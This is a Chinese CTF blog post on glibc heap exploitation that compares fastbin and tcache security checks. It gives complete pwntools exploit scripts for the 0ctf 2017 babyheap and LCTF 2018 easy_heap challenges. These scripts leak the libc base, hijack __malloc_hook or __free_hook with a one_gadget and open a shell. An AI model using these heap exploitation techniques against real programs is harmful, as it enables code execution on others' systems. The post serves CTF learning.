【PWN】Fastbin 与 Tcache 的利用

从本周开始,针对ctfwiki的顺序,整理堆的攻击方式,顺便练一下手。克服惰性与抗拒,才能继续进步。

首先是为何把fastbin和tcache放第一个整理,因为fastbin和tcache是所有后续攻击的基础,为了实现写入“任意”地址,通常情况下都是利用fastbin和tcache,有个明显的原因就是fastbin和tcache都采用单链表结构,结构更加简单,简单也意味着缺少复杂的检测,更加利于我们去利用。其次,为何把它俩放一起,原因还是两者的结构相似,地位相近,但细节上有不同,放在一起对比利用。

再说一下为什么把fastbin和tcache拎出来却没有讲unlink与off by one、overlapping,我个人理解这几个是密不可分的,因为现实情况往往不能直接操纵头,增加size来向高地址extend,所以一般都是利用off by one来实现向高地址extend,之后overlapping再去控制fd和bk。而overlapping又不得不与unlink打交道。所以难舍难分,利用时基本都要用到,不太好再单独分(不是我懒)。

如果说有什么要说的,就是2.29增加了unlink检测,有时就需要我们利用largebin的fd_nextsize与bk_nextsize了,这些后面讲largebin attck再说。

接下来分析它们的相似与不同点(只针对利用差别上)

1.fastbin拥有大小检测,对将要取下的chunk检测其大小是否符合本链表应该有的大小,否则报错

fastbin_index(chunksize(victim)) != idx

tcache 缺少大小检测,但同时多了一道检测,那就是其数量是否还有剩余,how2heap中给出的方法是多free一个,对,就是这么朴实无华,这也导致tcache 的利用往往更好使,不需要奇怪的偏移。

2.fastbin与tcache都拥有double free的检测(tcache刚出现的2.26版本(修正,2.27也没有)缺少对tcache的double free检测,也就是那个key,这位get后会清0)

3.fastbin的double free绕过做法一般是ABA绕过,tcache也可,但2.29及以后对tcache出现了double free的强力检测,挨个检查是否相同(真狠呐) 

5.11日补充:这个挨个检测是在if key=tcache后才进行的,所以只要修改key就可以绕过了)

4.2.32后对tcache增加了地址对齐的检测,除此以外,还有一个加密。看起来不是善茬,等遇到了高版本题再分析吧。

d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

5.暂时想到这些,待补充...

利用方式:

fastbin:

fastbin_dup(double free)、fastbin_dup_consolidate、unsafe_unlink、house of spirit、Arbitrary Alloc(结合dup)

tcache:

tcache_poisoning、house of spirit tcache、house of botcake、tcache_stashing_unlink_attack

这些是我觉得相关而且重要的利用方式。可在how2heap与ctfwiki中找到。

接下来是一些例题

Fastbin:

0ctf_2017_babyheap

这道题对我来说其实是二刷。第一次做时由于还没读过malloc源码,理解不深刻,过程处理不好。而且当时还不会替换动态加载器(哈哈,读了程序员的自我修养,现在对这玩意有更深刻了),基本就是面向exp解题bushi 

不扯犊子了,开始!

 保护开的很全,但是对于堆利用,一般也没啥影响。

替换libc和动态加载器

照着这图来就行了

 用glibc all in one下载我们需要的。

 使用patchelf替换,有个讨人厌的地方,路径不要有空格,也就是文件名不要有空格!

 这里的话就可以正式开始做题了。

很经典的内容。

allocate

 后面的就不展示了,很普通。

在填充内容的功能中,使用读取内容的函数是直接读取指定长度的内容,并没有设置字符串结尾。而且比较有意思的是,这个指定长度是我们指定的,并不是之前 chunk 分配时指定的长度,所以这里就出现了任意堆溢出的情形。

这里关于unsorted bin的利用我提一嘴unsortedbin attack(跟本题没关系,只是怕忘了),我看了一下源码,并没有对bk的检测,这样看来,好像只有smallbin取出增加了检测。

由于我们是希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中。因此,我们这里构造一个 small bin chunk。在将该 chunk 释放到 unsorted bin 的同时,也需要让另外一个正在使用的 chunk 可以同时指向该 chunk 的位置。这样才可以进行泄漏。具体设计如下:

    # 1. leak libc base
    allocate(0x10)  # idx 0, 0x00
    allocate(0x10)  # idx 1, 0x20
    allocate(0x10)  # idx 2, 0x40
    allocate(0x10)  # idx 3, 0x60
    allocate(0x80)  # idx 4, 0x80
    # free idx 1, 2, fastbin[0]->idx1->idx2->NULL
    free(2)
    free(1)

当我们编辑 idx0 后,确实已经将其指向 idx4 了。这里之所以可以成功是因为堆的始终是 4KB 对齐的,所以 idx 4 的起始地址的第一个字节必然是 0x80。

    # edit idx 0 chunk to particial overwrite idx1's fd to point to idx4
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    fill(0, len(payload), payload)

那么,当我们再次申请两个时,第二个申请到的就是 idx 4 处的 chunk。为了能够申请成功,我们需要确保 idx4 的 size 与当前 fastbin 的大小一致,所以,我们得修改它的大小。申请成功后,idx2 会指向 idx4。

    # if we want to allocate at idx4, we must set it's size as 0x21
    payload = 0x10 * 'a' + p64(0) + p64(0x21)
    fill(3, len(payload), payload)
    allocate(0x10)  # idx 1
    allocate(0x10)  # idx 2, which point to idx4's location

之后,如果我们想要将 idx 4 放到 unsorted bin 中的话,为了防止其与 top chunk 合并,我们需要再次申请一个 chunk。此后再释放 idx4 就会进入 unsorted bin 中去了。此时由于 idx2 也指向这个地址,所以我们直接展示他的内容就可以得到 unsorted bin 的地址了。

    # if want to free idx4 to unsorted bin, we must fix its size
    payload = 0x10 * 'a' + p64(0) + p64(0x91)
    fill(3, len(payload), payload)
    # allocate a chunk in order when free idx4, idx 4 not consolidate with top chunk
    allocate(0x80)  # idx 5
    free(4)
    # as idx 2 point to idx4, just show this
    dump(2)
    p.recvuntil('Content: \n')
    unsortedbin_addr = u64(p.recv(8))
    main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
    log.success('main arena addr: ' + hex(main_arena))
    main_arena_offset = 0x3c4b20
    libc_base = main_arena - main_arena_offset
    log.success('libc base addr: ' + hex(libc_base))

由于 malloc hook 附近的 chunk 大小为 0x7f,所以数据区域为 0x60。这里我们再次申请的时候,对应 fastbin 链表中没有相应大小 chunk,所以根据堆分配器规则,它会依次处理 unsorted bin 中的 chunk,将其放入到对应的 bin 中,之后会再次尝试分配 chunk,因为之前释放的 chunk 比当前申请的 chunk 大,所以可以从其前面分割出来一块。所以 idx2 仍然指向该位置,那么我们可以使用类似的办法先释放申请到的 chunk,然后再次修改 fd 指针为 fake chunk 即可。此后我们修改 malloc_hook 处的指针即可得到触发 onegadget。

# 2. malloc to malloc_hook nearby
# allocate a 0x70 size chunk same with malloc hook nearby chunk, idx4
allocate(0x60)
free(4)
# edit idx4's fd point to fake chunk
fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)

allocate(0x60)  # idx 4
allocate(0x60)  # idx 6

one_gadget_addr = libc_base + 0x4526a
payload = 0x13 * 'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
# trigger malloc_hook
allocate(0x100)
p.interactive()

这里我想补充一下:由于这道题的拥有任意大小写入的能力,其实利用方式非常宽泛,就像这样,但往往现实题没这么容易利用,需要overlapping来泄露unsortedbin的地址与利用。

其中有几个点:1.fastbin的size有check ,所以并不直接冲向hook

fake_chunk_addr = main_arena - 0x33
这里就是为了绕过size检测

2.他咋知道main arena -0x33就是我们要的地址?其实malloc hook就在main_arena 的前面

 我们也可以看到,那个0x7f在哪里。

这个0x7f对应着一个计算idx的算法,可以试一试

#define fastbin_index(sz)                                                     \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

 算法就不解释了,挺简单的

这几个地方可以说自己第一次做时并没有十分搞懂,这一次算是彻底清晰了。

这里再展示一道tcache相关的题:

LCTF2018 PWN easy_heap

这道题的话是ctfwiki的tcache的第一道例题,我们分析一下。

这道题其实也非常有意思,重点在

unsigned __int64 __fastcall read_input(_BYTE *malloc_p, int sz)
{
  unsigned int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  i = 0;                                        
  if ( sz )
  {
    while ( 1 )
    {
      read(0, &malloc_p[i], 1uLL);
      if ( sz - 1 < i || !malloc_p[i] || malloc_p[i] == '\n' )
        break;
      ++i;
    }
    malloc_p[i] = 0;
    malloc_p[sz] = 0;                           // null-byte-overflow
  }
  else
  {
    *malloc_p = 0;
  }
  return __readfsqword(0x28u) ^ v4;
}

由于存在 tcache ,所以利用过程中需要考虑到 tcache 的存在。

通常来讲在堆程序中出现 null-byte-overflow 漏洞 ,都会考虑构造 overlapping heap chunk ,使得 overlapping chunk 可以多次使用 ,达到信息泄露最终劫持控制流的目的 。

null-byte-overflow 漏洞的利用方法通过溢出覆盖 prev_in_use 字节使得堆块进行合并,然后使用伪造的 prev_size 字段使得合并时造成堆块交叉。但是本题由于输入函数无法输入 NULL 字符,所以无法输入 prev_size 为 0x_00 的值,而堆块分配大小是固定的,所以直接采用 null-byte-overflow 的方法无法进行利用,需要其他方法写入 prev_size

在没有办法手动写入 prev_size ,但又必须使用 prev_size 才可以进行利用的情况下,考虑使用系统写入的 prev_size 。

方法为:在 unsorted bin 合并时会写入 prev_size,而该 prev_size 不会被轻易覆盖(除非有新的 prev_size 需要写入),所以可以利用该 prev_size 进行利用。

借鉴一下wiki的图(读书人的事怎么能叫盗呢

+-----+
|     | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块
+-----+
|  A  | <-- 3 个 unsorted bin 块
+-----+
|  B  |
+-----+
|  C  |
+-----+
|     | <-- tcache 块,防止 top 合并
+-----+
| top |
|  .. |
+-----+
|     | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块 (free)
+-----+
|  A  | <-- free
+-----+
|  B  | <-- free 且为 tcache 块
+-----+
|  C  |
+-----+
|     | <-- tcache 块,防止 top 合并
+-----+
| top |
|  .. |
+-----+
|     | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块 (free)
+-----+                     --------+
|  A  | <-- free 大块               |
+-----+                             |
|  B  | <-- 已分配          --------+--> 一个大 free 块
+-----+                             |
|  C  | <-- free                    |
+-----+                     --------+
|     | <-- tcache 块,防止 top 合并 (free)
+-----+
| top |
|  .. |

+-----+
|     | <-- tcache perthread 结构体
+-----+
| ... | <-- 6 个 tcache 块 (free)
+-----+
|  A  | <-- 已分配
+-----+
|  B  | <-- 已分配          --------+> 一个大 free 块
+-----+                             |
|  C  | <-- free                    |
+-----+                     --------+
|     | <-- tcache 块,防止 top 合并 (free)
+-----+
| top |
|  .. |

上述内容是这道题的精髓了,人为营造一个overlapping。

真的四八啦西,太精彩了!

exp如下:

import sys
import os
import os.path
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./easy_heap')

def cmd(idx):
    p.recvuntil('>')
    p.sendline(str(idx))


def new(size, content):
    cmd(1)
    p.recvuntil('>')
    p.sendline(str(size))
    p.recvuntil('> ')
    if len(content) >= size:
        p.send(content)
    else:
        p.sendline(content)


def delete(idx):
    cmd(2)
    p.recvuntil('index \n> ')
    p.sendline(str(idx))


def show(idx):
    cmd(3)
    p.recvuntil('> ')
    p.sendline(str(idx))
    return p.recvline()[:-1]


def main():
    # Your exploit script goes here

    # step 1: get three unsortedbin chunks
    # note that to avoid top consolidation, we need to arrange them like:
    # tcache * 6 -> unsortd  * 3 -> tcache
    for i in range(7):
        new(0x10, str(i) + ' - tcache')

    for i in range(3):
        new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks

    # arrange:
    for i in range(6):
        delete(i)
    delete(9)
    for i in range(6, 9):
        delete(i)

    # step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
    for i in range(7):
        new(0x10, str(i) + ' - tcache')

    # rearrange to take second unsorted bin into tcache chunk, but leave first 
    # unsorted bin unchanged
    new(0x10, '7 - first')
    new(0x10, '8 - second')
    new(0x10, '9 - third')

    for i in range(6):
        delete(i)
    # move second into tcache
    delete(8)
    # delete first to provide valid fd & bk
    delete(7)

    new(0xf8, '0 - overflow')
    # fill up tcache
    delete(6)

    # trigger
    delete(9)

    # step 3: leak, fill up 
    for i in range(7):
        new(0x10, str(i) + ' - tcache')
    new(0x10, '8 - fillup')

    libc_leak = u64(show(0).strip().ljust(8, '\x00'))
    p.info('libc leak {}'.format(hex(libc_leak)))
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc.address = libc_leak - 0x3ebca0

    # step 4: constrecvuntilct UAF, write into __free_hook
    new(0x10, '9 - next')
    # these two provides sendlineots for tcache
    delete(1)
    delete(2)

    delete(0)
    delete(9)
    new(0x10, p64(libc.symbols['__free_hook'])) # 0
    new(0x10, '/bin/sh\x00into target') # 1
    one_gadget = libc.address + 0x4f322 
    new(0x10, p64(one_gadget))

    # system("/bin/sh\x00")
    delete(1)

    p.interactive()

if __name__ == '__main__':
    main()

凌晨1点了,有些困,今天就到这里吧

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值